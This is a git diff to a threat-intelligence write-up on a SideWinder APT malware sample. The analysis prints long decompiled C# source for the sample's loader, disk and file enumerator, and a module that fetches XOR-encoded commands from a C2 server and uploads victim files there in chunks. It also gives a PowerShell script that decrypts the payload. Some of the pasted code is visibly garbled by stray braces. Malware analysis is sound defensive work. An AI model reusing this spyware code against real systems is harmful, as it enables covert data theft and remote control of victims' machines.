diff --git a/Indian/APT/SideWinder/25-12-19/analysis.md b/Indian/APT/SideWinder/25-12-19/analysis.md
index 102a350..74eb1c8 100644
--- a/Indian/APT/SideWinder/25-12-19/analysis.md
+++ b/Indian/APT/SideWinder/25-12-19/analysis.md
@@ -168,12 +168,13 @@ finally{window.close();}
-
-
-
-
-
-
+The first software is a legit wizard EFS REKEY of Microsoft know as rekeywiz.exe. This can do the certificates for the EFS, we can confirm it on the code of the software.
+
+
+
+
+
+
On the dotnet loader, we can load an instance from the code extracted by the module. This module use an xor in a loop of the bytes for get the payload to execute.
```csharp
@@ -205,32 +206,31 @@ namespace Module
public static void InitGadgets() { Program.Load(); }
// Token: 0x06000003 RID: 3 RVA: 0x000020CC File Offset: 0x000004CC
public static void FileRipper() { Program.Load(); }
- // Token: 0x06000004 RID: 4 RVA: 0x000020D4 File Offset: 0x000004D4
- private static void Load()
- {
- try
+ // Token: 0x06000004 RID: 4 RVA: 0x000020D4 File Offset: 0x000004D4
+ private static void Load()
+ {
+ try
+ {
+ foreach (Type type in Program._assembly.GetExportedTypes())
{
- foreach (Type type in Program._assembly.GetExportedTypes())
- {
- if (type.Name == "Program")
- {
- object obj = Activator.CreateInstance(type);
- obj.GetType().GetMethod("Start").Invoke(obj, new object[0]);
- break;
- }
- }
+ if (type.Name == "Program")
+ {
+ object obj = Activator.CreateInstance(type);
+ obj.GetType().GetMethod("Start").Invoke(obj, new object[0]);
+ break;
+ }
}
- catch {}
- finally { Process.GetCurrentProcess().Kill(); }
- }
- // Token: 0x04000001 RID: 1
- private static readonly Assembly _assembly;
+ }
+ catch {}
+ finally { Process.GetCurrentProcess().Kill(); }
+ }
+ // Token: 0x04000001 RID: 1
+ private static readonly Assembly _assembly;
}
}
-
```
-We can use fire against fire and use Powershell for dercrypt the payload and save it
+We can use fire against fire and use Powershell for decrypt the payload and save it
```csharp
[byte[]] $array = [System.IO.File]::ReadAllBytes("path tmp file")
@@ -245,7 +245,458 @@ for ($i = 0; $i -lt $array2.length; $i++)
}
[System.IO.File]::WriteAllBytes("path to save", $array2)
```
+Once this done, we can see that the payload have 4 modules, the first one get the list of the disks, infos and the list of the files of them
+```csharp
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Text;
+namespace SystemApp
+{
+ // Token: 0x02000003 RID: 3
+ internal class FileListing
+ {
+ // Token: 0x0600001A RID: 26 RVA: 0x000025E8 File Offset: 0x000007E8
+ public static void WriteListing(BinaryWriter output, string[] selectFileExtensions, int maxSelectFileSize, List selectedFiles)
+ {
+ output.Write(Encoding.ASCII.GetBytes("FL"));
+ output.Write(1);
+ Queue queue = new Queue();
+ DriveInfo[] drives = DriveInfo.GetDrives();
+ output.Write(drives.Length);
+ foreach (DriveInfo driveInfo in drives)
+ {
+ output.Write(driveInfo.Name);
+ output.Write((int)driveInfo.DriveType);
+ output.Write(driveInfo.IsReady);
+ if (driveInfo.IsReady)
+ {
+ output.Write(driveInfo.DriveFormat);
+ output.Write(driveInfo.AvailableFreeSpace);
+ output.Write(driveInfo.TotalFreeSpace);
+ output.Write(driveInfo.TotalSize);
+ output.Write(driveInfo.VolumeLabel);
+ if (driveInfo.DriveType == DriveType.Fixed)
+ {
+ queue.Enqueue(new FileListing.DirectoryOffset(driveInfo.Name, output.BaseStream.Position));
+ output.Write(0L);
+ }
+ else {output.Write(-1L);}
+ }
+ else {output.Write(-1L);}
+ }
+ while (queue.Count > 0)
+ {
+ FileListing.DirectoryOffset directoryOffset = queue.Dequeue();
+ long position = output.BaseStream.Position;
+ output.BaseStream.Position = directoryOffset.OffsetPosition;
+ output.Write(position);
+ output.BaseStream.Position = position;
+ try
+ {
+ DirectoryInfo directoryInfo = new DirectoryInfo(directoryOffset.Path);
+ DirectoryInfo[] directories = directoryInfo.GetDirectories();
+ FileInfo[] files = directoryInfo.GetFiles();
+ output.Write(false);
+ output.Write(directories.Length);
+ output.Write(files.Length);
+ foreach (DirectoryInfo directoryInfo2 in directories)
+ {
+ output.Write(directoryInfo2.Name);
+ output.Write((int)directoryInfo2.Attributes);
+ output.Write(Convert.ToInt64((directoryInfo2.CreationTimeUtc - FileListing.epoch).TotalSeconds));
+ output.Write(Convert.ToInt64((directoryInfo2.LastWriteTimeUtc - FileListing.epoch).TotalSeconds));
+ output.Write(Convert.ToInt64((directoryInfo2.LastAccessTimeUtc - FileListing.epoch).TotalSeconds));
+ queue.Enqueue(new FileListing.DirectoryOffset(directoryInfo2.FullName, output.BaseStream.Position));
+ output.Write(0L);
+ }
+ foreach (FileInfo fileInfo in files)
+ {
+ output.Write(fileInfo.Name);
+ output.Write((int)fileInfo.Attributes);
+ output.Write(Convert.ToInt64((fileInfo.CreationTimeUtc - FileListing.epoch).TotalSeconds));
+ output.Write(Convert.ToInt64((fileInfo.LastWriteTimeUtc - FileListing.epoch).TotalSeconds));
+ output.Write(Convert.ToInt64((fileInfo.LastAccessTimeUtc - FileListing.epoch).TotalSeconds));
+ output.Write(fileInfo.Length);
+ int j = 0;
+ while (j < selectFileExtensions.Length)
+ {
+ if (fileInfo.Name.EndsWith(selectFileExtensions[j], StringComparison.CurrentCultureIgnoreCase) && fileInfo.Length <= (long)maxSelectFileSize)
+ {
+ Settings.File item = new Settings.File(fileInfo.FullName);
+ if (!selectedFiles.Contains(item))
+ {
+ selectedFiles.Add(item);
+ break;
+ }
+ break;
+ }
+ else {j++;}
+ }
+ }
+ }
+ catch (Exception ex)
+ {
+ output.Write(true);
+ output.Write(ex.Message);
+ output.Write(ex.ToString());
+ }
+ }
+ }
+ // Token: 0x0400000E RID: 14
+ private static readonly DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc);
+ // Token: 0x02000008 RID: 8
+ private class DirectoryOffset
+ {
+ // Token: 0x06000045 RID: 69 RVA: 0x000044E8 File Offset: 0x000026E8
+ public DirectoryOffset(string path, long offsetPosition)
+ {
+ this._path = path;
+ this._offsetPosition = offsetPosition;
+ }
+ // Token: 0x17000013 RID: 19
+ // (get) Token: 0x06000046 RID: 70 RVA: 0x000044FE File Offset: 0x000026FE
+ public string Path {get{return this._path;}}
+ // Token: 0x17000014 RID: 20
+ // (get) Token: 0x06000047 RID: 71 RVA: 0x00004506 File Offset: 0x00002706
+ public long OffsetPosition {get{return this._offsetPosition;}}
+ // Token: 0x04000024 RID: 36
+ public readonly string _path;
+ // Token: 0x04000025 RID: 37
+ public readonly long _offsetPosition;
+ }
+ }
+}
+```
+###### The second module, this select the good extension instead of the content to push, this use too a popular JSON framework for .NET (Newtonsoft). Once the files done, this add a queue for send files at the C2 by zip files. The origin path, type, offset of the files of the victim is push in base 64 in the X-File references in the header. The JSON files are still stored in Appdata with a folder with the identicator name ```CommonsDat``` instead of ```AuthyDat``` for the last operation against China (cf last analysis)
+
+```csharp
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.IO.Compression;
+using System.Net;
+using System.Reflection;
+using System.Text;
+using System.Threading;
+using Module;
+using Newtonsoft.Json;
+using SystemApp.Properties;
+namespace SystemApp
+{
+ // Token: 0x02000004 RID: 4
+ public class Program
+ {
+ // Token: 0x0600001D RID: 29 RVA: 0x000029B0 File Offset: 0x00000BB0
+ static Program()
+ {
+ AppDomain.CurrentDomain.AssemblyResolve += delegate(object sender, ResolveEventArgs args)
+ {
+ if (args.Name.StartsWith("Newtonsoft.Json,")){return Assembly.Load(Resources.Newtonsoft_Json);}
+ return null;
+ };
+ }
+ // Token: 0x0600001E RID: 30 RVA: 0x000029CC File Offset: 0x00000BCC
+ public void Start()
+ {
+ try
+ {
+ this._settings = Settings.LoadSettings();
+ this._getTimer = new Timer(new TimerCallback(this.GetTimerCallback), null, 5000, -1);
+ this._postTimer = new Timer(new TimerCallback(this.PostTimerCallback), null, 5000, -1);
+ if (this._settings.DoSysInfo){
+ this.WriteSysInfo();
+ this._settings.DoSysInfo = false;
+ this._settings.Save();}
+ if (this._settings.DoFileSelection){
+ this.WriteFileListing();
+ this.WriteSelectedFiles();
+ this._settings.DoFileSelection = false;
+ this._settings.Save();}
+ Thread.Sleep(-1);
+ }
+ finally
+ {
+ try{
+ this._getTimer.Dispose();
+ this._postTimer.Dispose();}
+ catch{}
+ }
+ }
+ // Token: 0x0600001F RID: 31 RVA: 0x00002ABC File Offset: 0x00000CBC
+ private void WriteSysInfo()
+ {
+ try
+ {
+ string tempFileName = Path.GetTempFileName();
+ using (FileStream fileStream = new FileStream(tempFileName, FileMode.Create, FileAccess.Write)){SysInfo.WriteTo(fileStream);}
+ File.Move(tempFileName, Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".sif"));
+ }
+ catch (Exception ex)
+ {
+ try{File.WriteAllText(Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".err"), ex.ToString());}
+ catch{}
+ }
+ }
+ // Token: 0x06000020 RID: 32 RVA: 0x00002B6C File Offset: 0x00000D6C
+ private void WriteFileListing()
+ {
+ try
+ {
+ string tempFileName = Path.GetTempFileName();
+ using (FileStream fileStream = new FileStream(tempFileName, FileMode.Create, FileAccess.ReadWrite)){
+ List selectedFiles = this._settings.SelectedFiles;
+ lock (selectedFiles)
+ {
+ FileListing.WriteListing(new BinaryWriter(fileStream), this._settings.SelectFileExtensions, this._settings.MaxSelectFileSize, this._settings.SelectedFiles);}}
+ File.Move(tempFileName, Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".flc"));
+ }
+ catch (Exception ex)
+ {
+ try{File.WriteAllText(Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".err"), ex.ToString());}
+ catch{}
+ }
+ }
+ // Token: 0x06000021 RID: 33 RVA: 0x00002C68 File Offset: 0x00000E68
+ private void WriteSelectedFiles()
+ {
+ try
+ {
+ string tempFileName = Path.GetTempFileName();
+ using (FileStream fileStream = new FileStream(tempFileName, FileMode.Create, FileAccess.ReadWrite)){
+ JsonTextWriter jsonTextWriter = new JsonTextWriter(new StreamWriter(fileStream, Encoding.UTF8));
+ jsonTextWriter.WriteStartObject();
+ jsonTextWriter.WritePropertyName("selectedFiles");
+ jsonTextWriter.WriteStartArray();
+ List selectedFiles = this._settings.SelectedFiles;
+ lock (selectedFiles)
+ {
+ foreach (Settings.File file in this._settings.SelectedFiles)
+ {
+ jsonTextWriter.WriteStartObject();
+ jsonTextWriter.WritePropertyName("filePath");
+ jsonTextWriter.WriteValue(file.FilePath);
+ jsonTextWriter.WritePropertyName("complete");
+ jsonTextWriter.WriteValue(file.Complete);
+ jsonTextWriter.WritePropertyName("sentOffset");
+ jsonTextWriter.WriteValue(file.SentOffset);
+ jsonTextWriter.WriteEndObject();}}
+ jsonTextWriter.WriteEndArray();
+ jsonTextWriter.WriteEndObject();
+ jsonTextWriter.Flush();}
+ File.Move(tempFileName, Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".fls"));
+ }
+ catch (Exception ex)
+ {
+ try{File.WriteAllText(Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".err"), ex.ToString());}
+ catch{}
+ }
+ }
+ // Token: 0x06000022 RID: 34 RVA: 0x00002E48 File Offset: 0x00001048
+ private byte[] DecodeData(byte[] data)
+ {
+ byte[] array = new byte[data.Length - 32];
+ Buffer.BlockCopy(data, 32, array, 0, array.Length);
+ for (int i = 0; i < array.Length; i++)
+ {
+ byte[] array2 = array;
+ int num = i;
+ array2[num] ^= data[i % 32];
+ }
+ return array;
+ }
+ // Token: 0x06000023 RID: 35 RVA: 0x00002E90 File Offset: 0x00001090
+ private void GetTimerCallback(object state)
+ {
+ try
+ {
+ for (;;){
+ using (Program.WebClient webClient = new Program.WebClient())
+ {this.Process(this.DecodeData(webClient.DownloadData(this._settings.ServerUri)));}}}
+ catch{}
+ finally {this._getTimer.Change(this._settings.GetInterval, -1);}
+ }
+ // Token: 0x06000024 RID: 36 RVA: 0x00002F10 File Offset: 0x00001110
+ private void PostTimerCallback(object state)
+ {
+ try
+ {
+ string[] files = Directory.GetFiles(this._settings.OutputFolder);
+ for (int i = 0; i < files.Length; i++){
+ Settings.File item = new Settings.File(files[i]);
+ if (!this._settings.OutputFiles.Contains(item))
+ {
+ this._settings.OutputFiles.Add(item);}}
+ List list = new List();
+ foreach (Settings.File file in this._settings.OutputFiles){
+ if (file.Complete)
+ {
+ try
+ {
+ File.Delete(file.FilePath);
+ list.Add(file);
+ continue;}
+ catch{continue;}}
+ try
+ {
+ string fileType = null;
+ string extension = Path.GetExtension(file.FilePath);
+ if (extension != null)
+ {
+ if (!(extension == ".sif")){
+ if (!(extension == ".flc")){{if (!(extension == ".fls")){{{ if (extension == ".err"){ {{ fileType = "errorReport";{ }{}{else{{{ fileType = "fileSelection";{}}
+ else{{fileType = "fileListing";}}
+ else{fileType = "sysInfo";}}
+ this.UploadFile(file, fileType);
+ try
+ {
+ File.Delete(file.FilePath);
+ list.Add(file);}
+ catch{}}
+ catch (WebException) {break;}
+ catch (Exception ex)
+ {
+ try{File.WriteAllText(Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".err"), ex.ToString());}
+ catch{}
+ try{File.Delete(file.FilePath);}
+ catch{}
+ try{list.Add(file);}
+ catch{}}}
+ foreach (Settings.File item2 in list){this._settings.OutputFiles.Remove(item2);}
+ if (this._settings.DoFileUpload){
+ List selectedFiles = this._settings.SelectedFiles;
+ Settings.File[] array;
+ lock (selectedFiles)
+ {
+ array = this._settings.SelectedFiles.ToArray();}
+ foreach (Settings.File file2 in array)
+ {
+ if (!file2.Complete)
+ {
+ try{this.UploadFile(file2, null);}
+ catch (WebException){break;}
+ catch (Exception ex2){try{{File.WriteAllText(Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".err"), ex2.ToString());}
+ catch{}
+ file2.Complete = true;}}}}
+ }
+ catch (Exception ex3){try{File.WriteAllText(Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".err"), ex3.ToString());}
+ catch{}
+ }
+ finally
+ {
+ this._settings.Save();
+ this._postTimer.Change(this._settings.PostInterval, -1);
+ }
+ }
+ // Token: 0x06000025 RID: 37 RVA: 0x0000338C File Offset: 0x0000158C
+ private void UploadFile(Settings.File file, string fileType = null)
+ {
+ using (FileStream fileStream = new FileStream(file.FilePath, FileMode.Open, FileAccess.Read, FileShare.Read | FileShare.Write | FileShare.Delete))
+ {
+ byte[] array = new byte[524288];
+ using (Program.WebClient webClient = new Program.WebClient()){
+ for (;;)
+ {
+ fileStream.Position = file.SentOffset;
+ int num = fileStream.Read(array, 0, array.Length);
+ if (num < 1){break;}
+ webClient.ContentType = "application/x-raw";
+ webClient.Headers.Clear();
+ webClient.Headers.Add("X-File-Path", Convert.ToBase64String(Encoding.UTF8.GetBytes(file.FilePath)));
+ webClient.Headers.Add("X-File-Offset", file.SentOffset.ToString());
+ webClient.Headers.Add("X-File-Length", fileStream.Length.ToString());
+ if (fileType != null){webClient.Headers.Add("X-File-Type", fileType);}
+ if (num == array.Length){webClient.UploadData(this._settings.ServerUri, array);}
+ else
+ {
+ byte[] array2 = new byte[num];
+ Buffer.BlockCopy(array, 0, array2, 0, num);
+ webClient.UploadData(this._settings.ServerUri, array2);}
+ file.SentOffset += (long)num;}
+ file.Complete = true;}
+ }
+ }
+ // Token: 0x06000026 RID: 38 RVA: 0x0000350C File Offset: 0x0000170C
+ private void Process(byte[] data)
+ {
+ ThreadPool.QueueUserWorkItem(delegate(object state)
+ {
+ try{
+ AppDomain appDomain = AppDomain.CreateDomain("");
+ try
+ {
+ Loader loader = (Loader)appDomain.CreateInstance(typeof(Loader).Assembly.GetName().Name, typeof(Loader).FullName).Unwrap();
+ byte[] array;
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ this._settings.WriteTo(new BinaryWriter(memoryStream));
+ array = memoryStream.ToArray();}
+ string text = loader.Load(data, new object[]{array}).ToString();
+ if (!string.IsNullOrEmpty(text))
+ {
+ using (MemoryStream memoryStream2 = new MemoryStream(Convert.FromBase64String(text))){
+ BinaryReader binaryReader = new BinaryReader(memoryStream2);
+ while (memoryStream2.Position < memoryStream2.Length){{switch (binaryReader.ReadByte()){{{case 1:{ this.WriteSysInfo();{ continue;{case 2:{ this.WriteFileListing();{ continue;{case 3:{ this.WriteSelectedFiles();{ continue;{case 4:{ this._settings.ReadFrom(binaryReader);{ this._settings.Save();{ continue;{case 5:{ this._settings.ServerUri = new Uri(binaryReader.ReadString());{ continue;{case 6:{ this._settings.DoFileUpload = binaryReader.ReadBoolean();{ continue;{case 7:{ this._settings.SelectFileExtensions = new string[binaryReader.ReadInt32()];{ for (int i = 0; i < this._settings.SelectFileExtensions.Length; i++){ {{ this._settings.SelectFileExtensions[i] = binaryReader.ReadString();{ }{ continue;{case 8:{ this._settings.MaxSelectFileSize = binaryReader.ReadInt32();{ continue;{case 9:{{{ Settings.File item = new Settings.File(binaryReader.ReadString());{ List selectedFiles = this._settings.SelectedFiles;{ lock (selectedFiles){ {{ int num = this._settings.SelectedFiles.IndexOf(item);{ if (num < 0){ {{ this._settings.SelectedFiles.Add(item);{ }{ else{ {{ this._settings.SelectedFiles[num].SentOffset = 0L;{ this._settings.SelectedFiles[num].Complete = false;{ }{ continue;{ }{ break;{}{case 10:{ break;{default:{ continue;{}{this._settings.Save();}}}}
+ finally{AppDomain.Unload(appDomain);}}
+ catch (Exception ex){
+ try{File.WriteAllText(Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".err"), ex.ToString());}
+ catch{}}
+ });
+ }
+ // Token: 0x0400000F RID: 15
+ private Settings _settings;
+ // Token: 0x04000010 RID: 16
+ private Timer _getTimer;
+ // Token: 0x04000011 RID: 17
+ private const int GET_TIMER_INITIAL_INTERVAL = 5000;
+ // Token: 0x04000012 RID: 18
+ private Timer _postTimer;
+ // Token: 0x04000013 RID: 19
+ private const int POST_TIMER_INITIAL_INTERVAL = 5000;
+ // Token: 0x02000009 RID: 9
+ private class WebClient : System.Net.WebClient
+ {
+ // Token: 0x06000048 RID: 72 RVA: 0x00004510 File Offset: 0x00002710
+ protected override WebRequest GetWebRequest(Uri uri)
+ {
+ HttpWebRequest httpWebRequest = base.GetWebRequest(uri) as HttpWebRequest;
+ httpWebRequest.ReadWriteTimeout = 120000;
+ httpWebRequest.AutomaticDecompression = (DecompressionMethods.GZip | DecompressionMethods.Deflate);
+ if (!string.IsNullOrEmpty(this.ContentType)){httpWebRequest.ContentType = this.ContentType;}
+ return httpWebRequest;
+ }
+ // Token: 0x06000049 RID: 73 RVA: 0x00004556 File Offset: 0x00002756
+ public new byte[] UploadData(string address, byte[] data){return this.UploadData(new Uri(address), data);}
+ // Token: 0x0600004A RID: 74 RVA: 0x00004568 File Offset: 0x00002768
+ public new byte[] UploadData(Uri address, byte[] data)
+ {
+ WebRequest webRequest = this.GetWebRequest(address);
+ webRequest.Method = "POST";
+ webRequest.Headers.Add("Content-Encoding", "gzip");
+ using (Stream stream = new GZipStream(webRequest.GetRequestStream(), CompressionMode.Compress)){stream.Write(data, 0, data.Length);}
+ WebResponse response = webRequest.GetResponse();
+ byte[] result;
+ using (MemoryStream memoryStream = new MemoryStream()){
+ using (Stream responseStream = response.GetResponseStream())
+ {
+ byte[] array = new byte[1024];
+ for (;;)
+ {
+ int num = responseStream.Read(array, 0, array.Length);
+ if (num < 1){break;}
+ memoryStream.Write(array, 0, num);}}
+ result = memoryStream.ToArray();}
+ return result;
+ }
+ // Token: 0x17000015 RID: 21
+ // (get) Token: 0x0600004B RID: 75 RVA: 0x00004650 File Offset: 0x00002850
+ // (set) Token: 0x0600004C RID: 76 RVA: 0x00004658 File Offset: 0x00002858
+ public string ContentType { get; set; }
+ }
+ }
+}
+```
Threat Intelligence
Cyber kill chain